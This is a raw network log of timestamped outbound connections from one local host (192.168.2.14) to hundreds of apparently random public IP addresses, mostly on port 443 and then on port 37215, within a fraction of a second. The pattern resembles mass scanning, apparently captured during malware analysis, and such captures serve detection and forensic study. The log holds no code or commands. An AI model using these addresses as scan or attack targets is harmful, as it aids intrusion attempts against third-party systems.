Oct 17, 2024 02:19:41.062665939 CEST	20641	443	192.168.2.14	118.52.12.136
Oct 17, 2024 02:19:41.062674046 CEST	20641	443	192.168.2.14	210.131.165.169
Oct 17, 2024 02:19:41.062674046 CEST	20641	443	192.168.2.14	117.169.12.160
Oct 17, 2024 02:19:41.062674999 CEST	20641	443	192.168.2.14	37.120.110.168
Oct 17, 2024 02:19:41.062675953 CEST	20641	443	192.168.2.14	42.8.190.92
Oct 17, 2024 02:19:41.062674999 CEST	20641	443	192.168.2.14	37.204.91.201
Oct 17, 2024 02:19:41.062676907 CEST	20641	443	192.168.2.14	109.205.4.237
Oct 17, 2024 02:19:41.062678099 CEST	20641	443	192.168.2.14	178.158.249.93
Oct 17, 2024 02:19:41.062674999 CEST	20641	443	192.168.2.14	79.150.6.6
Oct 17, 2024 02:19:41.062678099 CEST	20641	443	192.168.2.14	5.33.137.76
Oct 17, 2024 02:19:41.062676907 CEST	20641	443	192.168.2.14	37.199.179.155
Oct 17, 2024 02:19:41.062678099 CEST	20641	443	192.168.2.14	118.239.52.53
Oct 17, 2024 02:19:41.062676907 CEST	20641	443	192.168.2.14	123.63.228.161
Oct 17, 2024 02:19:41.062726021 CEST	20641	443	192.168.2.14	178.183.88.160
Oct 17, 2024 02:19:41.062726021 CEST	20641	443	192.168.2.14	148.237.148.6
Oct 17, 2024 02:19:41.062726021 CEST	20641	443	192.168.2.14	109.245.232.227
Oct 17, 2024 02:19:41.062726021 CEST	20641	443	192.168.2.14	123.216.171.127
Oct 17, 2024 02:19:41.062726974 CEST	20641	443	192.168.2.14	212.163.64.204
Oct 17, 2024 02:19:41.062726021 CEST	20641	443	192.168.2.14	202.92.181.133
Oct 17, 2024 02:19:41.062726974 CEST	20641	443	192.168.2.14	118.81.119.60
Oct 17, 2024 02:19:41.062726021 CEST	20641	443	192.168.2.14	79.128.251.83
Oct 17, 2024 02:19:41.062726974 CEST	20641	443	192.168.2.14	109.78.54.188
Oct 17, 2024 02:19:41.062731981 CEST	20641	443	192.168.2.14	123.144.40.61
Oct 17, 2024 02:19:41.062732935 CEST	20641	443	192.168.2.14	94.44.178.100
Oct 17, 2024 02:19:41.062736034 CEST	20641	443	192.168.2.14	117.23.96.230
Oct 17, 2024 02:19:41.062736034 CEST	20641	443	192.168.2.14	210.178.86.159
Oct 17, 2024 02:19:41.062736034 CEST	20641	443	192.168.2.14	42.237.12.40
Oct 17, 2024 02:19:41.062736034 CEST	20641	443	192.168.2.14	123.183.170.107
Oct 17, 2024 02:19:41.062736034 CEST	20641	443	192.168.2.14	42.247.90.91
Oct 17, 2024 02:19:41.062741995 CEST	20641	443	192.168.2.14	109.122.180.13
Oct 17, 2024 02:19:41.062741995 CEST	20641	443	192.168.2.14	212.119.224.194
Oct 17, 2024 02:19:41.062746048 CEST	20641	443	192.168.2.14	210.255.41.48
Oct 17, 2024 02:19:41.062746048 CEST	20641	443	192.168.2.14	109.181.100.75
Oct 17, 2024 02:19:41.062746048 CEST	20641	443	192.168.2.14	210.100.18.198
Oct 17, 2024 02:19:41.062736034 CEST	20641	443	192.168.2.14	94.5.162.158
Oct 17, 2024 02:19:41.062747955 CEST	20641	443	192.168.2.14	210.74.142.242
Oct 17, 2024 02:19:41.062747955 CEST	20641	443	192.168.2.14	2.88.61.142
Oct 17, 2024 02:19:41.062747955 CEST	20641	443	192.168.2.14	37.47.208.235
Oct 17, 2024 02:19:41.062751055 CEST	20641	443	192.168.2.14	148.193.226.174
Oct 17, 2024 02:19:41.062751055 CEST	20641	443	192.168.2.14	117.82.97.3
Oct 17, 2024 02:19:41.062757015 CEST	20641	443	192.168.2.14	2.243.163.165
Oct 17, 2024 02:19:41.062757015 CEST	20641	443	192.168.2.14	148.189.158.35
Oct 17, 2024 02:19:41.062757015 CEST	20641	443	192.168.2.14	79.143.103.176
Oct 17, 2024 02:19:41.062757015 CEST	20641	443	192.168.2.14	79.254.47.134
Oct 17, 2024 02:19:41.062757015 CEST	20641	443	192.168.2.14	79.192.87.160
Oct 17, 2024 02:19:41.062761068 CEST	20641	443	192.168.2.14	2.152.89.213
Oct 17, 2024 02:19:41.062761068 CEST	20641	443	192.168.2.14	212.243.195.88
Oct 17, 2024 02:19:41.062761068 CEST	20641	443	192.168.2.14	123.128.92.28
Oct 17, 2024 02:19:41.062761068 CEST	20641	443	192.168.2.14	202.118.210.232
Oct 17, 2024 02:19:41.062762022 CEST	20641	443	192.168.2.14	42.251.5.8
Oct 17, 2024 02:19:41.062762022 CEST	20641	443	192.168.2.14	37.253.162.213
Oct 17, 2024 02:19:41.062767029 CEST	20641	443	192.168.2.14	178.47.161.186
Oct 17, 2024 02:19:41.062762022 CEST	20641	443	192.168.2.14	123.44.27.65
Oct 17, 2024 02:19:41.062768936 CEST	20641	443	192.168.2.14	202.184.2.116
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	79.65.181.101
Oct 17, 2024 02:19:41.062767029 CEST	20641	443	192.168.2.14	123.5.40.107
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	109.10.196.163
Oct 17, 2024 02:19:41.062762022 CEST	20641	443	192.168.2.14	118.85.166.243
Oct 17, 2024 02:19:41.062767029 CEST	20641	443	192.168.2.14	94.66.123.174
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	210.93.158.68
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	123.143.134.231
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	94.73.173.49
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	123.45.247.244
Oct 17, 2024 02:19:41.062769890 CEST	20641	443	192.168.2.14	79.166.138.195
Oct 17, 2024 02:19:41.062791109 CEST	20641	443	192.168.2.14	5.213.26.113
Oct 17, 2024 02:19:41.062793970 CEST	20641	443	192.168.2.14	118.114.141.223
Oct 17, 2024 02:19:41.062793970 CEST	20641	443	192.168.2.14	212.177.187.64
Oct 17, 2024 02:19:41.062803030 CEST	20641	443	192.168.2.14	2.1.211.170
Oct 17, 2024 02:19:41.062803030 CEST	20641	443	192.168.2.14	117.19.63.80
Oct 17, 2024 02:19:41.062809944 CEST	20641	443	192.168.2.14	5.219.213.228
Oct 17, 2024 02:19:41.062810898 CEST	20641	443	192.168.2.14	5.196.2.158
Oct 17, 2024 02:19:41.062813044 CEST	20641	443	192.168.2.14	178.255.145.146
Oct 17, 2024 02:19:41.062813997 CEST	20641	443	192.168.2.14	117.211.189.29
Oct 17, 2024 02:19:41.062813044 CEST	20641	443	192.168.2.14	118.105.52.38
Oct 17, 2024 02:19:41.062813997 CEST	20641	443	192.168.2.14	117.52.12.204
Oct 17, 2024 02:19:41.062813997 CEST	20641	443	192.168.2.14	123.68.139.236
Oct 17, 2024 02:19:41.062815905 CEST	20641	443	192.168.2.14	123.52.202.239
Oct 17, 2024 02:19:41.062813997 CEST	20641	443	192.168.2.14	5.42.30.175
Oct 17, 2024 02:19:41.062815905 CEST	20641	443	192.168.2.14	94.27.253.48
Oct 17, 2024 02:19:41.062819004 CEST	20641	443	192.168.2.14	94.21.66.153
Oct 17, 2024 02:19:41.062825918 CEST	20641	443	192.168.2.14	123.123.191.54
Oct 17, 2024 02:19:41.062859058 CEST	20641	443	192.168.2.14	5.228.147.237
Oct 17, 2024 02:19:41.062859058 CEST	20641	443	192.168.2.14	37.46.111.174
Oct 17, 2024 02:19:41.062865019 CEST	20641	443	192.168.2.14	212.47.228.129
Oct 17, 2024 02:19:41.062865973 CEST	20641	443	192.168.2.14	94.254.131.29
Oct 17, 2024 02:19:41.062865019 CEST	20641	443	192.168.2.14	5.145.253.43
Oct 17, 2024 02:19:41.062865973 CEST	20641	443	192.168.2.14	202.249.60.73
Oct 17, 2024 02:19:41.062865973 CEST	20641	443	192.168.2.14	118.106.160.157
Oct 17, 2024 02:19:41.062869072 CEST	20641	443	192.168.2.14	5.251.50.115
Oct 17, 2024 02:19:41.062869072 CEST	20641	443	192.168.2.14	5.137.81.161
Oct 17, 2024 02:19:41.062872887 CEST	20641	443	192.168.2.14	178.125.61.1
Oct 17, 2024 02:19:41.062875032 CEST	20641	443	192.168.2.14	178.180.237.114
Oct 17, 2024 02:19:41.062872887 CEST	20641	443	192.168.2.14	117.220.156.195
Oct 17, 2024 02:19:41.062872887 CEST	20641	443	192.168.2.14	2.155.59.183
Oct 17, 2024 02:19:41.062875986 CEST	20641	443	192.168.2.14	42.156.74.113
Oct 17, 2024 02:19:41.062881947 CEST	20641	443	192.168.2.14	2.114.206.2
Oct 17, 2024 02:19:41.062881947 CEST	20641	443	192.168.2.14	5.113.88.148
Oct 17, 2024 02:19:41.062881947 CEST	20641	443	192.168.2.14	109.74.62.5
Oct 17, 2024 02:19:41.062881947 CEST	20641	443	192.168.2.14	148.191.37.123
Oct 17, 2024 02:19:41.062891006 CEST	20641	443	192.168.2.14	94.103.253.187
Oct 17, 2024 02:19:41.062891006 CEST	20641	443	192.168.2.14	178.69.151.215
Oct 17, 2024 02:19:41.062896013 CEST	20641	443	192.168.2.14	37.207.233.240
Oct 17, 2024 02:19:41.062896013 CEST	20641	443	192.168.2.14	148.183.214.56
Oct 17, 2024 02:19:41.062901020 CEST	20641	443	192.168.2.14	37.201.124.175
Oct 17, 2024 02:19:41.062901020 CEST	20641	443	192.168.2.14	2.66.12.123
Oct 17, 2024 02:19:41.062901974 CEST	20641	443	192.168.2.14	5.152.138.7
Oct 17, 2024 02:19:41.062901974 CEST	20641	443	192.168.2.14	117.135.101.191
Oct 17, 2024 02:19:41.062906981 CEST	20641	443	192.168.2.14	109.97.208.180
Oct 17, 2024 02:19:41.062906981 CEST	20641	443	192.168.2.14	210.142.111.183
Oct 17, 2024 02:19:41.062906981 CEST	20641	443	192.168.2.14	178.199.200.38
Oct 17, 2024 02:19:41.062947035 CEST	20641	443	192.168.2.14	123.126.180.84
Oct 17, 2024 02:19:41.062947035 CEST	20641	443	192.168.2.14	94.65.204.97
Oct 17, 2024 02:19:41.062947035 CEST	20641	443	192.168.2.14	117.110.100.225
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	2.190.91.235
Oct 17, 2024 02:19:41.062947035 CEST	20641	443	192.168.2.14	79.69.249.155
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	178.141.167.230
Oct 17, 2024 02:19:41.062947035 CEST	20641	443	192.168.2.14	42.160.24.121
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	123.133.146.186
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	42.116.192.194
Oct 17, 2024 02:19:41.062953949 CEST	20641	443	192.168.2.14	212.134.23.255
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	37.8.19.11
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	212.46.78.105
Oct 17, 2024 02:19:41.062953949 CEST	20641	443	192.168.2.14	2.41.61.27
Oct 17, 2024 02:19:41.062947989 CEST	20641	443	192.168.2.14	2.211.121.59
Oct 17, 2024 02:19:41.062953949 CEST	20641	443	192.168.2.14	212.70.254.122
Oct 17, 2024 02:19:41.062953949 CEST	20641	443	192.168.2.14	123.117.17.240
Oct 17, 2024 02:19:41.062968969 CEST	20641	443	192.168.2.14	118.170.235.226
Oct 17, 2024 02:19:41.062968969 CEST	20641	443	192.168.2.14	109.83.49.111
Oct 17, 2024 02:19:41.062969923 CEST	20641	443	192.168.2.14	42.116.20.199
Oct 17, 2024 02:19:41.062968969 CEST	20641	443	192.168.2.14	210.178.94.211
Oct 17, 2024 02:19:41.062969923 CEST	20641	443	192.168.2.14	94.51.157.232
Oct 17, 2024 02:19:41.062968969 CEST	20641	443	192.168.2.14	202.116.22.72
Oct 17, 2024 02:19:41.062969923 CEST	20641	443	192.168.2.14	148.214.33.104
Oct 17, 2024 02:19:41.062971115 CEST	20641	443	192.168.2.14	5.169.49.160
Oct 17, 2024 02:19:41.062971115 CEST	20641	443	192.168.2.14	37.130.101.63
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	123.200.199.115
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	123.160.212.92
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	123.95.107.214
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	37.141.170.215
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	79.197.176.24
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	148.220.255.63
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	109.217.227.16
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	109.6.109.8
Oct 17, 2024 02:19:41.062973022 CEST	20641	443	192.168.2.14	117.28.72.236
Oct 17, 2024 02:19:41.062978029 CEST	20641	443	192.168.2.14	117.132.250.90
Oct 17, 2024 02:19:41.062978029 CEST	20641	443	192.168.2.14	210.104.92.12
Oct 17, 2024 02:19:41.062978983 CEST	20641	443	192.168.2.14	79.127.231.16
Oct 17, 2024 02:19:41.062978983 CEST	20641	443	192.168.2.14	109.95.67.173
Oct 17, 2024 02:19:41.062978983 CEST	20641	443	192.168.2.14	118.248.95.67
Oct 17, 2024 02:19:41.062988043 CEST	20641	443	192.168.2.14	42.152.158.117
Oct 17, 2024 02:19:41.062988043 CEST	20641	443	192.168.2.14	123.217.165.103
Oct 17, 2024 02:19:41.062988043 CEST	20641	443	192.168.2.14	2.173.111.224
Oct 17, 2024 02:19:41.062989950 CEST	20641	443	192.168.2.14	210.84.179.32
Oct 17, 2024 02:19:41.062988043 CEST	20641	443	192.168.2.14	109.168.44.114
Oct 17, 2024 02:19:41.062989950 CEST	20641	443	192.168.2.14	109.76.120.18
Oct 17, 2024 02:19:41.062989950 CEST	20641	443	192.168.2.14	118.4.103.27
Oct 17, 2024 02:19:41.062989950 CEST	20641	443	192.168.2.14	117.141.194.96
Oct 17, 2024 02:19:41.062989950 CEST	20641	443	192.168.2.14	5.219.225.152
Oct 17, 2024 02:19:41.062989950 CEST	20641	443	192.168.2.14	202.219.86.234
Oct 17, 2024 02:19:41.062990904 CEST	20641	443	192.168.2.14	148.242.117.192
Oct 17, 2024 02:19:41.062990904 CEST	20641	443	192.168.2.14	210.48.137.160
Oct 17, 2024 02:19:41.062990904 CEST	20641	443	192.168.2.14	202.67.109.76
Oct 17, 2024 02:19:41.063007116 CEST	20641	443	192.168.2.14	123.34.123.92
Oct 17, 2024 02:19:41.063038111 CEST	20641	443	192.168.2.14	118.207.31.248
Oct 17, 2024 02:19:41.063038111 CEST	20641	443	192.168.2.14	5.46.188.57
Oct 17, 2024 02:19:41.063039064 CEST	20641	443	192.168.2.14	79.249.183.236
Oct 17, 2024 02:19:41.063039064 CEST	20641	443	192.168.2.14	37.163.227.220
Oct 17, 2024 02:19:41.063047886 CEST	20641	443	192.168.2.14	148.232.47.36
Oct 17, 2024 02:19:41.063060999 CEST	20641	443	192.168.2.14	118.192.209.245
Oct 17, 2024 02:19:41.063093901 CEST	20644	37215	192.168.2.14	156.93.177.129
Oct 17, 2024 02:19:41.063101053 CEST	20644	37215	192.168.2.14	197.212.134.149
Oct 17, 2024 02:19:41.063107014 CEST	20644	37215	192.168.2.14	41.84.220.130
Oct 17, 2024 02:19:41.063116074 CEST	20644	37215	192.168.2.14	156.210.217.213
Oct 17, 2024 02:19:41.063116074 CEST	20644	37215	192.168.2.14	41.251.81.136
Oct 17, 2024 02:19:41.063122988 CEST	20644	37215	192.168.2.14	41.51.123.9
Oct 17, 2024 02:19:41.063163042 CEST	20644	37215	192.168.2.14	197.164.12.137
Oct 17, 2024 02:19:41.063163042 CEST	20644	37215	192.168.2.14	156.160.28.21
Oct 17, 2024 02:19:41.063199043 CEST	20644	37215	192.168.2.14	197.176.206.215
Oct 17, 2024 02:19:41.063206911 CEST	20644	37215	192.168.2.14	41.22.109.186
Oct 17, 2024 02:19:41.063208103 CEST	20644	37215	192.168.2.14	156.64.28.215
Oct 17, 2024 02:19:41.063208103 CEST	20644	37215	192.168.2.14	41.171.92.164
Oct 17, 2024 02:19:41.063208103 CEST	20644	37215	192.168.2.14	156.153.221.51
Oct 17, 2024 02:19:41.063210964 CEST	20644	37215	192.168.2.14	156.240.44.45
Oct 17, 2024 02:19:41.063213110 CEST	20644	37215	192.168.2.14	156.12.174.158
Oct 17, 2024 02:19:41.063213110 CEST	20644	37215	192.168.2.14	41.141.83.28
Oct 17, 2024 02:19:41.063213110 CEST	20644	37215	192.168.2.14	41.206.226.187
Oct 17, 2024 02:19:41.063226938 CEST	20644	37215	192.168.2.14	156.52.40.111
Oct 17, 2024 02:19:41.063226938 CEST	20644	37215	192.168.2.14	197.134.153.245
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	41.160.156.110
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	156.243.248.69
Oct 17, 2024 02:19:41.063226938 CEST	20644	37215	192.168.2.14	156.111.245.146
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	197.211.200.188
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	197.143.86.6
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	197.195.229.142
Oct 17, 2024 02:19:41.063229084 CEST	20644	37215	192.168.2.14	197.33.21.58
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	197.254.5.49
Oct 17, 2024 02:19:41.063227892 CEST	20644	37215	192.168.2.14	156.87.203.234
Oct 17, 2024 02:19:41.063231945 CEST	20644	37215	192.168.2.14	41.206.84.204
Oct 17, 2024 02:19:41.063232899 CEST	20644	37215	192.168.2.14	156.97.237.222
Oct 17, 2024 02:19:41.063231945 CEST	20644	37215	192.168.2.14	41.162.97.56
Oct 17, 2024 02:19:41.063231945 CEST	20644	37215	192.168.2.14	41.146.174.58
Oct 17, 2024 02:19:41.063231945 CEST	20644	37215	192.168.2.14	197.117.83.217
Oct 17, 2024 02:19:41.063231945 CEST	20644	37215	192.168.2.14	197.165.36.105
Oct 17, 2024 02:19:41.063232899 CEST	20644	37215	192.168.2.14	156.172.112.169
Oct 17, 2024 02:19:41.063247919 CEST	20644	37215	192.168.2.14	156.231.87.177
Oct 17, 2024 02:19:41.063250065 CEST	20644	37215	192.168.2.14	41.145.105.224
Oct 17, 2024 02:19:41.063270092 CEST	20644	37215	192.168.2.14	41.213.77.110
Oct 17, 2024 02:19:41.063285112 CEST	20644	37215	192.168.2.14	156.40.102.223
Oct 17, 2024 02:19:41.063287973 CEST	20644	37215	192.168.2.14	197.227.181.182
Oct 17, 2024 02:19:41.063290119 CEST	20644	37215	192.168.2.14	156.170.167.104
Oct 17, 2024 02:19:41.063288927 CEST	20644	37215	192.168.2.14	197.43.167.102
Oct 17, 2024 02:19:41.063318014 CEST	20644	37215	192.168.2.14	41.102.31.156
Oct 17, 2024 02:19:41.063332081 CEST	20644	37215	192.168.2.14	41.246.133.161
Oct 17, 2024 02:19:41.063332081 CEST	20644	37215	192.168.2.14	156.220.158.130
Oct 17, 2024 02:19:41.063350916 CEST	20644	37215	192.168.2.14	41.149.138.79
Oct 17, 2024 02:19:41.064600945 CEST	20641	443	192.168.2.14	210.29.110.50
Oct 17, 2024 02:19:41.064600945 CEST	20641	443	192.168.2.14	2.166.74.237
Oct 17, 2024 02:19:41.064623117 CEST	20641	443	192.168.2.14	79.79.240.255
Oct 17, 2024 02:19:41.064631939 CEST	20641	443	192.168.2.14	148.98.69.106
Oct 17, 2024 02:19:41.064708948 CEST	20641	443	192.168.2.14	37.169.59.132
Oct 17, 2024 02:19:41.064712048 CEST	20641	443	192.168.2.14	37.189.121.115
Oct 17, 2024 02:19:41.064763069 CEST	20641	443	192.168.2.14	210.66.137.133
Oct 17, 2024 02:19:41.064764977 CEST	20641	443	192.168.2.14	37.144.46.94
Oct 17, 2024 02:19:41.064769030 CEST	20641	443	192.168.2.14	109.192.241.219
Oct 17, 2024 02:19:41.064770937 CEST	20641	443	192.168.2.14	202.94.85.138
Oct 17, 2024 02:19:41.064775944 CEST	20641	443	192.168.2.14	178.68.138.181
Oct 17, 2024 02:19:41.064785004 CEST	20641	443	192.168.2.14	202.66.107.77
Oct 17, 2024 02:19:41.064785957 CEST	20641	443	192.168.2.14	148.44.161.114
Oct 17, 2024 02:19:41.064807892 CEST	20641	443	192.168.2.14	42.233.28.103
Oct 17, 2024 02:19:41.064858913 CEST	20641	443	192.168.2.14	148.255.101.60
Oct 17, 2024 02:19:41.064858913 CEST	20641	443	192.168.2.14	212.109.131.202
Oct 17, 2024 02:19:41.064858913 CEST	20641	443	192.168.2.14	109.71.198.168
Oct 17, 2024 02:19:41.064858913 CEST	20641	443	192.168.2.14	37.42.27.207
Oct 17, 2024 02:19:41.064867020 CEST	20641	443	192.168.2.14	178.30.191.106
Oct 17, 2024 02:19:41.064867020 CEST	20641	443	192.168.2.14	5.197.40.14
Oct 17, 2024 02:19:41.064872980 CEST	20641	443	192.168.2.14	5.76.133.102
Oct 17, 2024 02:19:41.064872980 CEST	20641	443	192.168.2.14	178.188.89.153
Oct 17, 2024 02:19:41.064872980 CEST	20641	443	192.168.2.14	42.132.252.189
Oct 17, 2024 02:19:41.064872980 CEST	20641	443	192.168.2.14	79.168.211.207
Oct 17, 2024 02:19:41.064872980 CEST	20641	443	192.168.2.14	202.210.203.49
Oct 17, 2024 02:19:41.064876080 CEST	20641	443	192.168.2.14	109.30.30.101
Oct 17, 2024 02:19:41.064896107 CEST	20641	443	192.168.2.14	42.79.73.46
Oct 17, 2024 02:19:41.064896107 CEST	20641	443	192.168.2.14	118.47.9.160
Oct 17, 2024 02:19:41.064897060 CEST	20641	443	192.168.2.14	212.159.106.28
Oct 17, 2024 02:19:41.064902067 CEST	20641	443	192.168.2.14	202.177.253.233
Oct 17, 2024 02:19:41.064902067 CEST	20641	443	192.168.2.14	37.4.50.229
Oct 17, 2024 02:19:41.064902067 CEST	20641	443	192.168.2.14	212.232.87.115
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	2.219.130.9
Oct 17, 2024 02:19:41.064904928 CEST	20641	443	192.168.2.14	178.192.197.212
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	109.124.145.107
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	178.31.18.194
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	42.117.94.34
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	212.103.201.198
Oct 17, 2024 02:19:41.064908981 CEST	20641	443	192.168.2.14	148.41.196.54
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	94.74.57.29
Oct 17, 2024 02:19:41.064908981 CEST	20641	443	192.168.2.14	148.15.98.254
Oct 17, 2024 02:19:41.064910889 CEST	20641	443	192.168.2.14	37.87.6.185
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	118.18.188.248
Oct 17, 2024 02:19:41.064908981 CEST	20641	443	192.168.2.14	210.244.154.156
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	109.193.170.243
Oct 17, 2024 02:19:41.064910889 CEST	20641	443	192.168.2.14	2.32.69.27
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	79.129.128.80
Oct 17, 2024 02:19:41.064910889 CEST	20641	443	192.168.2.14	202.55.6.10
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	178.85.91.125
Oct 17, 2024 02:19:41.064903975 CEST	20641	443	192.168.2.14	109.69.17.132
Oct 17, 2024 02:19:41.064917088 CEST	20641	443	192.168.2.14	210.238.243.19
Oct 17, 2024 02:19:41.064917088 CEST	20641	443	192.168.2.14	212.196.155.98
Oct 17, 2024 02:19:41.064918041 CEST	20641	443	192.168.2.14	123.155.128.13
Oct 17, 2024 02:19:41.064918995 CEST	20641	443	192.168.2.14	109.16.232.243
Oct 17, 2024 02:19:41.064912081 CEST	20641	443	192.168.2.14	42.110.95.31
Oct 17, 2024 02:19:41.064918041 CEST	20641	443	192.168.2.14	94.105.254.246
Oct 17, 2024 02:19:41.064920902 CEST	20641	443	192.168.2.14	210.2.102.140
Oct 17, 2024 02:19:41.064918041 CEST	20641	443	192.168.2.14	148.154.181.169
Oct 17, 2024 02:19:41.064918041 CEST	20641	443	192.168.2.14	109.160.108.216
Oct 17, 2024 02:19:41.064924955 CEST	20641	443	192.168.2.14	117.241.211.7
Oct 17, 2024 02:19:41.064924955 CEST	20641	443	192.168.2.14	79.18.20.204
Oct 17, 2024 02:19:41.064918995 CEST	20641	443	192.168.2.14	42.188.163.7
Oct 17, 2024 02:19:41.064924955 CEST	20641	443	192.168.2.14	148.210.101.233
Oct 17, 2024 02:19:41.064918995 CEST	20641	443	192.168.2.14	79.62.41.230
Oct 17, 2024 02:19:41.064918995 CEST	20641	443	192.168.2.14	37.77.177.69
Oct 17, 2024 02:19:41.064918995 CEST	20641	443	192.168.2.14	202.142.129.169
Oct 17, 2024 02:19:41.064929962 CEST	20641	443	192.168.2.14	37.92.168.217
Oct 17, 2024 02:19:41.064929962 CEST	20641	443	192.168.2.14	79.35.79.128
Oct 17, 2024 02:19:41.064930916 CEST	20641	443	192.168.2.14	109.120.188.26
Oct 17, 2024 02:19:41.064938068 CEST	20641	443	192.168.2.14	123.155.165.133
Oct 17, 2024 02:19:41.064938068 CEST	20641	443	192.168.2.14	118.221.119.22
Oct 17, 2024 02:19:41.064954042 CEST	20641	443	192.168.2.14	118.147.158.139
Oct 17, 2024 02:19:41.064954042 CEST	20641	443	192.168.2.14	118.70.103.55
Oct 17, 2024 02:19:41.064955950 CEST	20641	443	192.168.2.14	5.112.190.60
Oct 17, 2024 02:19:41.064955950 CEST	20641	443	192.168.2.14	117.73.75.49
Oct 17, 2024 02:19:41.064955950 CEST	20641	443	192.168.2.14	178.57.125.128
Oct 17, 2024 02:19:41.064961910 CEST	20641	443	192.168.2.14	210.42.162.74
Oct 17, 2024 02:19:41.064961910 CEST	20641	443	192.168.2.14	117.45.57.216
Oct 17, 2024 02:19:41.064961910 CEST	20641	443	192.168.2.14	79.242.55.46
Oct 17, 2024 02:19:41.064961910 CEST	20641	443	192.168.2.14	202.251.97.35
Oct 17, 2024 02:19:41.064961910 CEST	20641	443	192.168.2.14	5.21.236.181
Oct 17, 2024 02:19:41.064961910 CEST	20641	443	192.168.2.14	117.251.50.156
Oct 17, 2024 02:19:41.064970970 CEST	20641	443	192.168.2.14	37.36.50.197
Oct 17, 2024 02:19:41.064975023 CEST	20641	443	192.168.2.14	2.59.117.42
Oct 17, 2024 02:19:41.064975023 CEST	20641	443	192.168.2.14	117.55.49.170
Oct 17, 2024 02:19:41.064975023 CEST	20641	443	192.168.2.14	94.146.155.6
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	118.30.38.87
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	37.242.27.104
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	42.91.146.176
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	117.191.213.38
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	118.231.116.4
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	37.253.174.5
Oct 17, 2024 02:19:41.064976931 CEST	20641	443	192.168.2.14	5.186.9.119
Oct 17, 2024 02:19:41.064982891 CEST	20641	443	192.168.2.14	109.126.132.204
Oct 17, 2024 02:19:41.064984083 CEST	20641	443	192.168.2.14	109.65.205.65
Oct 17, 2024 02:19:41.064987898 CEST	20641	443	192.168.2.14	5.28.78.1
Oct 17, 2024 02:19:41.065021992 CEST	20641	443	192.168.2.14	148.190.31.43
Oct 17, 2024 02:19:41.065021992 CEST	20641	443	192.168.2.14	5.113.135.88
Oct 17, 2024 02:19:41.065022945 CEST	20641	443	192.168.2.14	42.167.98.23
Oct 17, 2024 02:19:41.065032005 CEST	20641	443	192.168.2.14	2.29.86.240
Oct 17, 2024 02:19:41.065032005 CEST	20641	443	192.168.2.14	118.56.152.205
Oct 17, 2024 02:19:41.065032005 CEST	20641	443	192.168.2.14	2.148.244.48
Oct 17, 2024 02:19:41.065032005 CEST	20641	443	192.168.2.14	94.175.168.87
Oct 17, 2024 02:19:41.065032005 CEST	20641	443	192.168.2.14	178.14.156.50
Oct 17, 2024 02:19:41.065032005 CEST	20641	443	192.168.2.14	5.96.36.86
Oct 17, 2024 02:19:41.065031052 CEST	20641	443	192.168.2.14	210.16.224.78
Oct 17, 2024 02:19:41.065037966 CEST	20641	443	192.168.2.14	210.42.215.242
Oct 17, 2024 02:19:41.065037966 CEST	20641	443	192.168.2.14	37.115.102.209
Oct 17, 2024 02:19:41.065038919 CEST	20641	443	192.168.2.14	212.12.96.79
Oct 17, 2024 02:19:41.065061092 CEST	20641	443	192.168.2.14	178.114.24.27
Oct 17, 2024 02:19:41.065061092 CEST	20641	443	192.168.2.14	210.139.31.65
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	118.116.193.80
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	79.121.135.85
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	148.156.31.27
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	212.54.94.153
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	202.238.19.163
Oct 17, 2024 02:19:41.065063953 CEST	20641	443	192.168.2.14	202.21.208.29
